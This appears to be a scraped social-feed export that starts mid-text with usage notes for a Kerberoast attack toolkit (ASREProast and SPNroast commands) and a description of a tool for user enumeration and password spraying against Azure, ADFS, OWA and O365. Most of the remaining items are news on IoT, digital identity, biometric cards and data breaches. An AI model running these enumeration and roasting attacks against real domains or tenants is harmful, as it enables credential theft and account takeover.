realm: The kerberos realm usually looks like COMPANY.corp
dc_ip: IP or hostname of the domain controller
targets: Path to the file which contains the possible username candidates
options:
-o: Output file base name

asreproast

This command is to perform ASREProast attack

Command structure

kerberoast asreproast <dc_ip> <options>

dc_ip: IP or hostname of the domain controller
options:
-r: Specifies the kerberos realm to be used. It overrides all other realm info.
-o: Output file base name
-t: Path to the file which contains the usernames to perform the attack on
-u: Specifies the user to perform the attack on. Format is either <username> or <username>@<realm> but in the first case, the -r option must be used to specify the realm

spnroast

This command is to perform SPNroast (AKA kerberoast) attack.

Command structure

kerberoast spnroast <kerberos_connection_url> <options>

kerberos_connection_url: Specifies the usercredential and the target server in the kerberos URL format (see help)

options:
-r: Specifies the kerberos realm to be used. It overrides all other realm info.
-o: Output file base name
-t: Path to the file which contains the usernames to perform the attack on
-u: Specifies the user to perform the attack on. Format is either <username> or <username>@<realm> but in the first case, the -r option must be used to specify the realm

# data[].attributes.attachment_link.title
Kerberoast - Kerberoast Attack -Pure Python-

# data[].attributes.attachment_link.description
Kerberos attack toolkit -pure python- pip3 install kerberoast Prereqirements Python 3.6 See requirements.txt Steps -with SSPI-: kerberoast auto Steps -SSPI not used-: Look for vulnerable users via LDAP kerberoast ldap all -o ldapenum Use ASREP roast against users in the ldapenum_asrep_users.txt file kerberoast asreproast -t ldapenum_asrep_users.txt Use SPN roast against users in the ldapenum_spn_users.txt file kerberoast spnroast -t ldapenum_spn_users.txt Crack SPN roast and ASPREP roast output with hashcat This command group is for enumerating potentially vulnerable users via LDAP.

# data[].attributes.headline
goEnumBruteSpray - User Enumeration And Password Bruteforce On Azure, ADFS, OWA, O365 And Gather Emails On Linkedin

# data[].attributes.subject
goEnumBruteSpray - User Enumeration And Password Bruteforce On Azure, ADFS, OWA, O365 And Gather Emails On Linkedin

# data[].attributes.body
#testtools #cloudcomputing #cloudsecurity

# data[].attributes.attachment_link.readable_text
The recommended module is o365 for user enumeration and passwords bruteforce / spray . Additional information can be retrieved to avoid account lockout, to know that the password is good but expired, MFA enabled,...

Linkedin

This module should be used to retrieve a list of email addresses before validating them through a user enumeration module. The company will be searched on Linkedin and all people working at these companies will be returned in the specified format.

The Linkedin's session cookie li_at is required.

SearchEngine

This module should be used to retrieve a list of email addresses before validating them through a user enumeration module. The company name will be searched on Google and Bing with a dork to find people working in the company ( site:linkedin.com/in+"%s"). The results title will be parsed to output email addresses in the specified format.

Azure

User enumeration

The Azure module is only available to enumerate the users of a tenant. The authentication request will be made on https://autologon.microsoftazuread-sso.com, a detailed response shows if the account does not exist, a MFA is required, if the account is locked, ...

ADFS

Passwords bruteforce / spray

The ADFS module is only available to bruteforce or spray a password. The authentication request is sent to https://<target>/adfs/ls/idpinitiatedsignon.aspx?client-request-id=<randomGUID>&pullStatus=0. An error message can informs the user if the password is expired

O365

This module allows to enumerate users and bruteforce / spray passwords.

User enumeration

Several modes are available: office, oauth2 and onedrive (not implemented yet). The office mode is recommended as no authentication is made. Oauth2 can retrieve additional information through AADSTS error code (MFA enable, locked account, disabled account)

Passwords bruteforce / spray

As for the user enumeration, two modes are available: oauth2 and autodiscover (not implemented yet). The Oauth2 is the recommended mode, it allows to get much information thanks to the AADSTS error code.

OWA

This module allows to enumerate users and bruteforce / spray passwords.

User enumeration

Enumeration is made with authentication requests. Authentication for a non-existent user will take longer than for a valid user. At first, the average response time for an invalid user will be calculated and then the response time for each authentication request will be compared.

Passwords bruteforce / spray

Please note that no account locking mechanism can be implemented because no information about it is returned.

Credits

https://github.com/busterb/msmailprobe https://github.com/0xZDH/o365spray/https://github.com/xFreed0m/ADFSpray/https://github.com/m8r0wn/CrossLinked

# data[].attributes.attachment_link.title
goEnumBruteSpray - User Enumeration And Password Bruteforce On Azure, ADFS, OWA, O365 And Gather Emails On Linkedin

# data[].attributes.attachment_link.description
The recommended module is o365 for user enumeration and passwords bruteforce / spray . Additional information can be retrieved to avoid account lockout, to know that the password is good but expired, MFA enabled,... This module should be used to retrieve a list of email addresses before validating them through a user enumeration module.

# data[].attributes.headline
Hacker Jailed for Stealing Millions of Dollars in Cryptocurrencies by SIM Hijacking

# data[].attributes.subject
Hacker Jailed for Stealing Millions of Dollars in Cryptocurrencies by SIM Hijacking

# data[].attributes.body
#simhacking #smartcard

# data[].attributes.attachment_link.title
Hacker Jailed for Stealing Millions of Dollars in Cryptocurrencies by SIM Hijacking

# data[].attributes.attachment_link.description
22-year-old hacker, sixth member of an international hacking group called "The Community," has been jailed for stealing millions in cryptocurrency.

# data[].attributes.headline
Infineon’s AIRO cloud connectivity manager supports the AWS IoT expressLink

# data[].attributes.subject
Infineon’s AIRO cloud connectivity manager supports the AWS IoT expressLink

# data[].attributes.body
#cloudcomputing #aws #iot

# data[].attributes.attachment_link.provider_name
IoT Now News - How to run an IoT enabled business

# data[].attributes.attachment_link.readable_text
Munich, Germany, and San Jose, California. 30 November 2021 - Infineon Technologies AG announced the company's new AIROC IFW56810 Cloud Connectivity Manager (CCM) solution supports the AWS IoT ExpressLink standards and specifications. This combined offering makes it easier and faster for companies and end customers to connect products such as industrial sensors, home appliances, irrigation systems and medical devices to Amazon Web Services (AWS).

It also enables developers who are implementing Internet of Things (IoT) applications to offload the complex, undifferentiated work required to securely connect devices to AWS. This allows developers to focus on their core competencies of building new and innovative products, while reducing design efforts and accelerating time-to-market. The CCM solution is pre-certified with the Federal Communications Commission (FCC).

"Traditionally, connecting devices to the cloud has been a difficult and time-consuming process that requires developers to possess a wide range of technical competencies in Wi-Fi, embedded systems, antenna design and cloud configuration along while creating complex code," says, Rob Conant, vice president of software and ecosystem at Infineon. "With this new plug-and-play solution, engineers can easily, quickly and securely connect devices at scale to AWS. We are excited to continue our work with AWS to help engineers focus on building products that get to market faster and to create new revenue streams."
Key benefits of the AIROC cloud connectivity manager:

Allows developers to use simple configuration commands such as "connect" and "send" to establish a connection and start streaming data to AWS within hours, not weeks

Enables original equipment manufacturers (OEMs) to easily transform products into IoT devices without merging large amounts of code, or have a deep understanding of the implementation

Offers the flexibility to connect various devices to AWS, while preserving the original application software and avoiding costly redesign

Software upgradable via over-the-air (OTA) upgrades with the CCM solution along with support for host OTA upgrades to ensure security and future proofing

Maintains fleet security and health at scale by providing an out-of-the-box solution that securely transmits data to and from the cloud via Wi-Fi

CCM includes support for the CIRRENT Cloud ID, which ensures that each device has a unique device identity and assignment to a product company stored in a secure hardware element to ensure a fail-proof mechanism.

"The combination of Infineon's CCM and our AWS IoT ExpressLink solution gives IoT developers an easy hardware solution to securely connect their products to the cloud," says, Yasser Alsaied, vice president of IoT at AWS. "This collaboration helps developers bring smarter, secure IoT devices to market. It's a very exciting time to work in IoT with much more unique customer engagements to come."

About AIROC wireless connectivity products

Infineon's AIROC wireless products, including Wi-Fi, Bluetooth, Bluetooth Low Energy and Wi-Fi and Bluetooth combos, have shipped more than a billion devices and are the go-to choice for IoT solutions. The broad portfolio includes high-performing, reliable, ultra-low-power products that deliver robust performance.

AIROC products leverage a common software framework across Android, Linux, RTOS platforms and are pre-integrated with Infineon's ModusToolbox software and tools, allowing developers to deliver high-quality, differentiated products to market on time and on budget.
Comment on this article below or via Twitter: @IoTNow_OR @jcIoTnow

# data[].attributes.attachment_link.title
Infineon's AIRO cloud connectivity manager supports the AWS IoT expressLink | IoT Now News & Reports

# data[].attributes.attachment_link.description
Munich, Germany, and San Jose, California. 30 November 2021 - Infineon Technologies AG announced the company's new AIROC IFW56810 Cloud Connectivity Manager (CCM) solution supports the AWS IoT ExpressLink standards and specifications. This combined offering makes it easier and faster for companies and end customers to connect products such as industrial sensors, home appliances, irrigation systems and medical devices to Amazon Web Services (AWS).

# data[].attributes.headline
Cloud-based ‘Bring Your Own RAN’ program launched by Athonet for private networks

# data[].attributes.subject
Cloud-based ‘Bring Your Own RAN’ program launched by Athonet for private networks

# data[].attributes.body
#5G #cloudcomputing

# data[].attributes.attachment_link.provider_name
IoT Now News - How to run an IoT enabled business

# data[].attributes.attachment_link.title
Cloud-based ‘Bring Your Own RAN’ program launched by Athonet for private networks | IoT Now News & Reports

# data[].attributes.attachment_link.description
Santa Clara, CA., USA - Athonet, a global provider of private network technology, has introduced a Bring Your Own RAN (BYORAN) program. This aims to

# data[].attributes.headline
Governments step up digital identity for public services, digital economy participation

# data[].attributes.subject
Governments step up digital identity for public services, digital economy participation

# data[].attributes.body
#digitalid

# data[].attributes.attachment_link.readable_text
Digital identity apps and wallets for government services are expanding around the world, with Mastercard services going live in North Macedonia. Istanbul is attempting something similar with its super app, Denmark is refreshing its app-based system, and the UK and Singapore have reached an interoperability deal.

In New South Wales, Australia, meanwhile, the government is preparing for a public consultation process on its digital identity services delivered through the Service NSW App. A concept video outlining the state government's vision depicts the use of face biometrics for authentication to renew a credential held within the associated digital wallet.

North Macedonia reaches launch

North Macedonia's project to launch a digital identity service with Mastercard's help has reached its launch, and its first client organization has been announced.

Customers of NLB Bank Skopje can remotely e-sign documents to make them legally binding through Mastercard's ID Service, a digital identity service operated by Evrotrust, according to the announcement.

The project was originally unveiled in early-2020, and provides smartphone-based services such as digital document signing and verification to Macedonian citizens. At the time it was reported to be based on a distributed model, without a centralized database of personal information.

"With ID Service, we can identify a person remotely, share electronic documentation and have them return an electronically signed document. This superior user experience will provide customers with complete flexibility in performing banking services. We will continue to work on our digital transformation, to optimize and simplify our work with customers and personalize our services and products," says Antonio Argir, president of the Management Board, NLB Bank Skopje.

North Macedonia Minister of Information Society and Administration Jeton Shaqiri said the launch is just the first step in implementing the digital ID service, and Mastercard will work with the ministry to expand the services' footprint. Future plans include remote onboarding capabilities, and integration with the government's Document Management System to further digitize the public sector.

Istanbul Super App

A similar project is being undertaken in the Turkish metropolis of Istanbul, where a super app with digital identity ambitions is being developed by Germany-based Kobil to supply secure and convenient access to all municipal services.

The Istanbul Senin app was formally launched on November 18 by the Istanbul Metropolitan Authority.

"With pride, I can announce that with 'Istanbul Senin' - translated as 'Istanbul is Yours'- we are the first in the world to go live with such a great vision," says Istanbul mayor Ekrem İmamoğlu. "With 'Istanbul is Yours', we are creating a completely new ecosystem and digital, secure platform where the highest user security is guaranteed, users can use their digital identity, a digital wallet, and digital contracts."

Denmark launches new digital identity app

The NemID digital identity system used to facilitate service access and transactions in Denmark is being phased out and replaced with MitID, which supports optional fingerprint or face biometrics.

MitID is developed by the Danish Agency of Digitisation and Finance Denmark, and is intended to enhance security and increase ease of use for access to public services. MitID is app-based, though alternatives are available in the form of a MitID code viewer, code reader and chip.

UK and Singapore sign mutual digital ID recognition deal

The UK and Singapore have reached a deal to support the interoperability of digital identity services between the two jurisdictions at the Future Tech Forum, according to a government announcement. This is intended to reduce barriers to cross-border trade and enable greater participation in the international digital economy by people and businesses, the government says.

The deal is one of three Memoranda of Understanding (MoU's), and follows on a collaborative agreement signed between the island nations in 2019.

In an exit statement as the UK's G7 Presidency term comes to a close, the government highlights the 'G7 Roadmap for Cooperation on Data Free Flow with Trust' and a meeting of G7 Data Protection Authorities among important developments.

Article Topics

Australia | biometrics | Denmark | digital economy | digital identity | digital wallet | identity verification | interoperability | Istanbul | Macedonia | Mastercard | mobile app | Singapore | UK

# data[].attributes.attachment_link.title
Governments step up digital identity for public services, digital economy participation | Biometric Update

# data[].attributes.attachment_link.description
Digital identity apps and wallets for government services are expanding around the world, with Mastercard services going live in North Macedonia. Istanbul is attempting something similar with its super app, Denmark is refreshing its app-based system, and the UK and Singapore have reached an interoperability deal.

# data[].attributes.headline
Technologies updated for biometric cards by STMicroelectronics, Neurotechnology

# data[].attributes.subject
Technologies updated for biometric cards by STMicroelectronics, Neurotechnology

# data[].attributes.body
#smartcard #biometric

# data[].attributes.attachment_link.readable_text
The market opportunity for biometric smart cards is drawing new players, and segments beyond traditional payment cards appear to be maturing. STMicroelectronics and Neurotechnology have each released new technologies for biometric cards, while STM and CardLab are exhibiting at Trustech 2021, Freevolt is implementing Fingerprint Cards' sensor modules in its cards, and Genetec will resell SentryCards to biometric access control customers under a new deal.

The latest secure microcontroller for biometric-system-on-card and dynamic CVV solutions has been released by STMicroelectronics, based on the company's 40nm eSTM technology.

The new ST31N600 microcontroller integrates an Arm SecurCore processor with circuitry for energy harvesting and connectivity for biometric and dCVV applications, and meets EMV ISO 7816, ISO 14443 and 18092 standards for contact and contactless cards, according to the announcement. The microcontroller is designed to enable developers to connect peripherals to build value-added features into cards.

"The ST31N600 is the starting point for great advances in smartcards, with its strong security and features that enable easy-to-use and innovative authentication mechanisms for payments," says Laurent Degauque, marketing director for the Secure Microcontroller Division at STMicroelectronics. "Showcasing this device at Trustech 2021, we will demonstrate secure biometric payment based on STPay-Topaz-Bio and dCVV for safe online transactions."

Now at Trustech 2021, STMicroelectronics is showcasing the BSoC based on a Linxens AMV module and prelaminated inlay with the FPC T-Shape 2 sensor from Fingerprint Cards, as well as a dCVV card.

Also at Trustech 2021, CardLab is exhibiting its patented card technology together with TrustSEC, the biometric operating system provider for CardLab cards, and eSignus, CardLab's cryptocurrency hardware wallet customer. These cards from CardLab also feature Fingerprint Cards' sensors.

CardLab is also in the middle of a $10 million equity offering.

Freevolt selects Fingerprint Cards

The S-Key biometric access control card from Freevolt is being launched with the T-Shape sensor module from Fingerprint Cards providing biometrics capturing.

The card is intended to serve the access control, cryptocurrency wallet and healthcare markets.

"We are immensely proud to be working with Fingerprints, who are leaders in fingerprint technologies, and who have been incredibly supportive throughout our development of S-Key," says Gonzalo de Gisbert, head of Product and Business Development at Freevolt Technologies. "By integrating our leading-edge Freevolt energy harvesting technology with Fingerprints' best-in-class sensors and software, we have created a battery-less and revolutionary biometric access control card, which is available to order now. We look forward to continuing our partnership with Fingerprints."

The companies previously both partnered with CardLab to provide technology for its QuadCard.

MegaMatcher for cards released

Neurotechnology has launched a new version of its MegaMatcher specifically for implementing its biometric algorithms for multiple modalities on cards.

MegaMatcher On Card is a software development kit for applications including biometric matching within the microcontroller of a smart card, Neurotechnology explains, and includes optimized versions of the company's fingerprint, face and iris biometric algorithms.

The new SDK version includes a facial recognition algorithm that uses templates smaller than 256 bytes to help save storage space in the microcontroller and speed up authentication. MegaMatcher On Card 12 also provides a 1:N extension of its fingerprint library to allow multiple fingerprints to be stored and used on the same card.

"There are already more than 130 million smart cards and secure elements worldwide that include our MegaMatcher On Card technology," comments Antonello Mincone, business development manager for Neurotechnology. "We are constantly improving our on-card technology and adding value for its different uses, as we do with all our algorithms and related products across multiple platforms."

The new version also includes code samples and tutorials for NXP JCOP 4 smart cards with a 1:1 fingerprint library.

The core MegaMatcher SDK was updated earlier this year with more accurate algorithms for fingerprint and face comparisons.

Genetec to resell SentryCard

Sentry Enterprises has established a reseller agreement with Genetec to bring its biometric cards for physical and logical access control to the latter's integrators and certified channel partners globally.

Sentry made a volume order of Fingerprint Cards' T-Shape sensors for its SentryCards earlier this year, and the company says the SentryCard platform is the first open-architected biometric platform in the card form factor to address information, operational and physical security requirements for building and system access.

"The SentryCard has the potential to be a game-changing platform, empowering our enterprise clients with the proof-of-identity they desire while mitigating the common privacy and hygiene risks associated with other fingerprint biometric solutions," Genetec Product Line Manager Francois Brouillet says.

Article Topics

biometric cards | biometrics | CardLab | Fingerprint Cards | Freevolt | Genetec | microcontroller | Neurotechnology | SDK | Sentry Enterprises | smartcards | STMicroelectronics | VAR

# data[].attributes.attachment_link.title
Technologies updated for biometric cards by STMicroelectronics, Neurotechnology | Biometric Update

# data[].attributes.attachment_link.description
The market opportunity for biometric smart cards is drawing new players, and segments beyond traditional payment cards appear to be maturing. STMicroelectronics and Neurotechnology have each released new technologies for biometric cards, while STM and CardLab are exhibiting at Trustech 2021, Freevolt is implementing Fingerprint Cards' sensor modules in its cards, and Genetec will resell SentryCards to biometric access control customers under a new deal.

# data[].attributes.headline
NADRA rejects biometric database hacking allegation, seeks explanation

# data[].attributes.subject
NADRA rejects biometric database hacking allegation, seeks explanation

# data[].attributes.body
#biometric #database #incident

# data[].attributes.attachment_link.readable_text
The National Database and Registration Authority of Pakistan (NADRA) has strongly rejected claims by an official of the country's Federal Investigation Agency (FIA) that its biometric database has been compromised, giving room for the existence of illegal SIM cards.

According to a report by Dawn, the FIA official had made the claim to a parliamentary panel, but later tried to rescind it.

The remark sparked an immediate rebuttal from NADRA officials who said their database has been designed with a multi-layer security system which makes hacking impossible.

Dawn quotes an unnamed senior NADRA official as saying their database has not been compromised as it is secured against unauthorized access of its databases or citizen ID data.

The official added that NADRA rejects what he described as an irresponsible statement from a senior FIA official especially at a time when the institution is trying to re-establish itself as one of the leading digital ID systems in the world.

"(M)ulti-layered control mechanisms and well-defined policies and practices have been implemented for the security and protection of all data that NADRA stores by taking all preventive measures. These baseless insinuations carry unintended consequences, including reputational damage to the organisation servicing foreign governments and clients as the leading system integrator," the NADRA official told Dawn.

The official further explained the security measures taken to make NADRA's databases and system safe. This, he said, includes the implementation of a privacy-by-design-and-security-by-default (PbD & SbD) approach and the deployment of four control systems to ensure data privacy and security, the report mentions.

"NADRA uses the Defence in Depth (DiD) multi-layered approach to cyber security in which a series of defensive mechanisms are layered to protect citizens' data and information. If one mechanism fails, another steps up immediately to thwart an attack," the official explained.

NADRA chairman Tariq Malik was also quoted as saying the database hacking remarks were only intended to create chaos and mistrust.

Body created to review NADRA issues

Meanwhile, in the wake of these allegations against NADRA, Prime Minister Imran Khan has put in place a body to look into some of the issues affecting the institution, writes The Express Tribune.

The coordination committee, led by the National Assembly deputy Speaker Qasim Khan Suri, and which includes six other members of the National Assembly, will among other things examine issues raised by parliamentarians concerning NADRA.

Among the concerns raised is the proliferation of illegal SIM cards.

Pakistan's FIA also recently reported the arrest of two men accused of being involved in activating SIM cards using fake fingerprint biometrics.

Article Topics

biometric database | biometrics | cybersecurity | data protection | digital identity | identity management | NADRA | national ID | Pakistan

# data[].attributes.attachment_link.title
NADRA rejects biometric database hacking allegation, seeks explanation | Biometric Update

# data[].attributes.attachment_link.description
The National Database and Registration Authority of Pakistan (NADRA) has strongly rejected claims by an official of the country's Federal Investigation Agency (FIA) that its biometric database has been compromised, giving room for the existence of illegal SIM cards.

# data[].attributes.headline
Most accurate lie detection to date from ‘tell-tale’ muscle activation claimed

# data[].attributes.subject
Most accurate lie detection to date from ‘tell-tale’ muscle activation claimed

# data[].attributes.body
#facial #livenessdetection #biometric

# data[].attributes.attachment_link.readable_text
A new technology analyzes tell-tale activation of facial muscles to reveal the telling of a lie with unprecedented 73 percent accuracy, via a technique developed at Tel Aviv University, as a campaigner files lawsuit against the EU for alleged secret research to trial video lie detectors on travelers arriving at its borders.

The peer-reviewed study published in Brain and Behavior found there are two types of 'liars' - those who activate specific cheek muscles when they lie and those who activate their eyebrows. Researchers believe the facial analysis technology has great potential for real-life contexts such as security and crime.

The process used stickers containing electrodes and printed onto soft surfaces. They measure the electrical activity of muscles and nerves, a process known as facial surface electromyography (sEMG), but now boosted by far more powerful sensors. The stickers are already commercially available and in use for sleep monitoring and neurological disease monitoring.

"Many studies have shown that it's almost impossible for us to tell when someone is lying to us. Even experts, such as police interrogators, do only a little better than the rest of us," Professor Dino Levy from the Coller School of Management and part of the research team told Eureka Alert.

"Existing lie detectors are so unreliable that their results are not admissible as evidence in courts of law - because just about anyone can learn how to control their pulse and deceive the machine. Consequently, there is a great need for a more accurate deception-identifying technology. Our study is based on the assumption that facial muscles contort when we lie, and that so far no electrodes have been sensitive enough to measure these contortions."

By using machine learning the team was able to detect which muscles were activated when the subject was telling a simple lie.

The researchers believe that in the future the electrodes may become redundant if video software were able to detect the facial muscle movements.

"In the bank, in police interrogations, at the airport, or in online job interviews, high-resolution cameras trained to identify movements of facial muscles will be able to tell truthful statements from lies," Levy is quoted as saying.

"Right now, our team's task is to complete the experimental stage, train our algorithms and do away with the electrodes. Once the technology has been perfected, we expect it to have numerous, highly diverse applications."

In the EU, video-based lie detection technology has already been put to use in one such setting: border crossings. Anti-surveillance campaigner and Member of the European Parliament, Dr. Patrick Breyer of the Pirate Party, has announced Friday that his transparency lawsuit against "secret EU surveillance research" should receive its judgement from the European Court of Justice on 15 December in Luxembourg, 33 months after he filed a lawsuit for the release of secret documents on the ethical justifiability, legality and results.

Breyer believes the ruling could shed light on EU-funded "security research" more generally. "In April 2021, it emerged that the 'iBorderCtrl' project, which was entirely funded by the EU, used part of its funding to lobby legislators for fundamental rights restrictions which would allow the use of its controversial technology on travellers," writes Breyer in a statement on the result date.

"The EU Commission tried to hide this in a partially redacted document that was reconstructed by technical means. In her response to a written question by Patrick Breyer, EU Commissioner for Home Affairs Ylva Johansson denied that the lobbying- which was clearly proven in the document- had taken place. In October, the European Parliament expressed 'concern' about the iBorderCtrl project. Under a follow-up project, 'Tresspass,' the EU has again funded the testing of unscientific technology to 'assess the sincerity of the traveller and his statements.'"

Article Topics

accuracy | biometrics | biometrics research | criminal ID | facial analysis | lie detection | machine learning | video analytics

# data[].attributes.attachment_link.title
Most accurate lie detection to date from 'tell-tale' muscle activation claimed | Biometric Update

# data[].attributes.attachment_link.description
A new technology analyzes tell-tale activation of facial muscles to reveal the telling of a lie with unprecedented 73 percent accuracy, via a technique developed at Tel Aviv University, as a campaigner files lawsuit against the EU for alleged secret research to trial video lie detectors on travelers arriving at its borders.

# data[].attributes.headline
IrisGuard updates mounted kiosk iris biometrics camera for 100 percent proof-of-life accuracy

# data[].attributes.subject
IrisGuard updates mounted kiosk iris biometrics camera for 100 percent proof-of-life accuracy

# data[].attributes.body
#iris #biometric

# data[].attributes.attachment_link.title
IrisGuard updates mounted kiosk iris biometrics camera for 100 percent proof-of-life accuracy | Biometric Update

# data[].attributes.attachment_link.description
IrisGuard releases new generation of its iris cameras for integrating biometrics with ATMs and kiosks whether indoors or outside.

# data[].attributes.headline
NSA-CISA Series on Securing 5G Cloud Infrastructures

# data[].attributes.subject
NSA-CISA Series on Securing 5G Cloud Infrastructures

# data[].attributes.body
#5g #5gsecurity

# data[].attributes.attachment_link.readable_text
CISA encourages 5G providers, integrators, and network operators to review the guidance and consider the recommendations.

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

# data[].attributes.attachment_link.title
NSA-CISA Series on Securing 5G Cloud Infrastructures

# data[].attributes.attachment_link.description
CISA encourages 5G providers, integrators, and network operators to review the guidance and consider the recommendations. Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

# data[].attributes.headline
UK Scaleup Programme to support Freevolt biometric smart card development

# data[].attributes.subject
UK Scaleup Programme to support Freevolt biometric smart card development

# data[].attributes.body
#smartcard #biometriconcard

# data[].attributes.attachment_link.readable_text
The Innovate UK Scaleup Programme has accepted Freevolt ( formerly Drayson Technologies) after a three-stage screening process. The initiative is designed to help companies substantially scale up their development efforts via access to finance, investment possibilities, and internationalization planning.

The Programme will now support Freevolt in the development of its biometric smart card products for access control, healthcare, and payments sectors, as well as for cryptocurrency wallets.

"Our work with the Freevolt Technologies team is a great example of just how much value this program can add to the endeavors of the business leaders we support," explained Maxine Adam, head of Business Growth at Innovate UK.

"The inputs are varied and blend strategic thinking with invaluable hands-on tactical guidance, to create outcomes that deliver real commercial advantage," she added.

Freevolt's main product is S-Key, a batteryless biometric smart card, which the firm says delivers three times more power than technologies currently on the market.

"Following the fantastic work completed by the Freevolt Team as part of our Innovate UK grant, we are now in a position to launch and commercialize our S-Key product," said Lord Paul Drayson, chairman of Freevolt Technologies.

From a technological standpoint, the solution reuses and harvests radiofrequency energy from most radio transmission networks, including NFC, cellular, and WiFi.

Using these technologies, Freevolt intends to manufacture advanced biometric smart cards with built-in fraud protection that do not require any changes in the existing card reader infrastructure or firms' user experience.

Freevolt's solutions are also being deployed in a partnership formed earlier this year with Fingerprint Cards and Infineon.

Article Topics

access control | biometric cards | biometrics | fingerprint sensors | Freevolt | healthcare | payments | research and development | smart card | smartcards | startup

# data[].attributes.attachment_link.title
UK Scaleup Programme to support Freevolt biometric smart card development | Biometric Update

# data[].attributes.attachment_link.description
The Innovate UK Scaleup Programme has accepted Freevolt ( formerly Drayson Technologies) after a three-stage screening process. The initiative is designed to help companies substantially scale up their development efforts via access to finance, investment possibilities, and internationalization planning.

# data[].attributes.headline
Potentially devastating digital ID hack in Argentina could have many ripples

# data[].attributes.subject
Potentially devastating digital ID hack in Argentina could have many ripples

# data[].attributes.body
#digitalid

# data[].attributes.attachment_link.readable_text
Demonstrating just how hard it is going to be to engender trust in public or private biometric systems, a hacker reportedly has stolen the government digital ID information for every citizen in Argentina.

While the government initially denied an attack took place, editors at the tech news publisher The Record say a new Twitter account for @AnibalLeaks posted the ID information for 44 Argentinian celebrities. The government confirmed the breach days later, but denied that the national ID database had been compromised, suggesting only a VPN account belonging to the Ministry of Health had been hacked.

Biometric data in the form of government photos are among the information that has been stolen. Also among the compromised data are home addresses, birth dates, Trámite (social security) numbers and citizen numbers.

The publication goes further, saying that its editors have spoken with someone who is charging all comers for access to the entire 45 million-ID National Registry of Persons, or Renaper.

An advertisement for access to the digital ID records (pictured in The Record's story) has been posted in a popular hacking forum.

The person contacted by the publication reportedly said the personal information of one million or two million more could be released. "Careless employees" enabled the theft, the person reportedly said.

Last year, the registry enabled remote digital ID processing for mobile devices during the COVID pandemic. It is not clear how, if at all, the hack impacts citizens or this policy.

Article Topics

Argentina | biometric data | biometrics | data protection | digital ID | digital identity | face photo | identity management | national ID | privacy

# data[].attributes.attachment_link.title
Potentially devastating digital ID hack in Argentina could have many ripples | Biometric Update

# data[].attributes.attachment_link.description
Demonstrating just how hard it is going to be to engender trust in public or private biometric systems, a hacker reportedly has stolen the government digital ID information for every citizen in Argentina. While the government initially denied an attack took place, editors at the tech news publisher The Record say a new Twitter account for @AnibalLeaks posted the ID information for 44 Argentinian celebrities.

# data[].attributes.headline
Benefits of Cloud-based Software Development

# data[].attributes.subject
Benefits of Cloud-based Software Development

# data[].attributes.body
#cloud #clouddevops

# data[].attributes.attachment_link.readable_text
Cloud computing is the buzzword in the tech market. As per the latest research of Gartner, the global cloud computing market is expected to reach a whopping $331.2 Billion by 2022. But what is the exact reason behind its growing popularity across the business sector?

Cloud-based software is an on-the-go IT service provider that is typically delivered over the internet and comes with pay-as-you-go pricing. So, rather than businesses spending on building, maintaining, and operating in-house platforms for data storage, they can simply hire cloud computing software depending on their needs. Top Software Development Agencies in India are already offering customized cloud solutions based on their client's needs.

These customized solutions are tailored to fulfilling different storage and data protection requirements of companies across sectors. Should Indian firms start adopting cloud platforms for enhanced data security and protection?

Reading this article will help you understand why Cloud computing has become a sought-after platform for hosting business applications rather than building an on-premise server infrastructure.

No-Code Enterprise Mobile Apps Platform
Learn More About CloudApper
Applications hosted on cloud software can be efficiently scaled compared to their traditional server hosting counterpart. In the conventional method, the business has first to understand the hardware on which their system runs, starting from the application server to the data server. The traditional method requires tremendous expertise and strategizing before everything can be brought to execution. On the contrary, by leveraging the power of cloud computing, applications can be scaled faster and with a low turnaround time.

Recovery from redundancy and Disaster:

Cloud computing offers unmatched redundancy, which helps in time disaster recovery. Without cloud computing, businesses have to maintain a separate data center to handle disaster recovery professionally. This step requires additional investment, thereby taking a toll on overall profitability. Another channel with an independent data center is that businesses need to adopt tools that replicate data and make additional storage space. Cloud computing platforms take care of this need at no additional cost.

The key benefit obtained from cloud-based software is cost controlling while quickly commencing a project that eventually keeps scaling. Customer software development firms in India help in building a personalized cloud platform to reap the most benefit while not exceeding the set budget of operation. Cloud does not entail upfront investments, unlike in-house data centers that require a colossal initial investment. Top software development agencies in India charge on pay-as-you-go-basis, which means businesses only need to pay for the services being used. Using the auto-scaling feature, companies will be charged only for additional services that run while there will be no additional charges for scaling down operations. Moreover, several cloud services are priced per transaction, so if a company does not reach a certain level, it might use it free of cost. ed-ljekarna.com hrvatska https://www.youtube.com/watch?v=ILLti49h51A
CloudApper: Build Mobile Apps & Cloud Solutions Without Programming
Speedy Resources Provision:

The in-house development team often needs different resources for productive outcomes. These resources could be test environments or the implementation of new technology. Most companies have a separate IT department, looking after all the used resources.

However, monitoring and completing a specific task can take weeks, depending on the number of people assigned for each of them. Using software from Top Cloud Computing firms in India, the team gets the power to build new environments - starting from databases to web applications and simulated machines.

Additionally, the cloud platform releases constant updates to ensure the highest level of all stored data. In this way, the team is updated on the constantly changing technological landscape. Once a resource has been utilized, it can be deactivated to avoid paying for it.

Numerous Offerings and Models:

Another crucial advantage of cloud-based software is that it offers different models and offerings depending on business needs. Businesses are not forced to opt for one-stop solution software that comes with several features, some of which the firm might never use.

Custom Software Development firms offer multiple options to set up an environment based on their unique requirement. Different cloud infrastructures will have different limitations, and companies can combine them based on their needs.

Wider Reach in the Market:

Instead of being limited to one location for hosting software, cloud computing offers the advantage of hosting and storing data from anywhere around the globe. Using state-of-the-art technologies, a company can be confident of enriching customer experience, irrespective of their location.

Wrapping Up:

Opting for custom software development firms can help quickly shift to the cloud solution. Only outstanding and reliable cloud services can offer scalability, easy resource access, and uptime needed for expansion.

# data[].attributes.attachment_link.title
Benefits of Cloud-based Software Development - M2SYS Blog On Biometric Technology

# data[].attributes.attachment_link.description
Cloud computing is the buzzword in the tech market. As per the latest research of Gartner, the global cloud computing market is expected to reach a whopping $331.2 Billion by 2022. But what is the exact reason behind its growing popularity across the business sector?

# data[].attributes.headline
The Role Of Biometrics In Neuromarketing

# data[].attributes.subject
The Role Of Biometrics In Neuromarketing

# data[].attributes.body
#biometric

# data[].attributes.attachment_link.readable_text
The introduction of neuroscience and cognitive science to marketing is known as neuromarketing. This form of market research can uncover customer needs and motivations, revealing preferences that traditional methods such as surveys and focus groups cannot. Biometrics is a new branch of neuromarketing. Biometrics employs various technologies and applications to better understand participants' cognitive and emotional reactions. It studies reactions towards a product, advertisement, and brand.

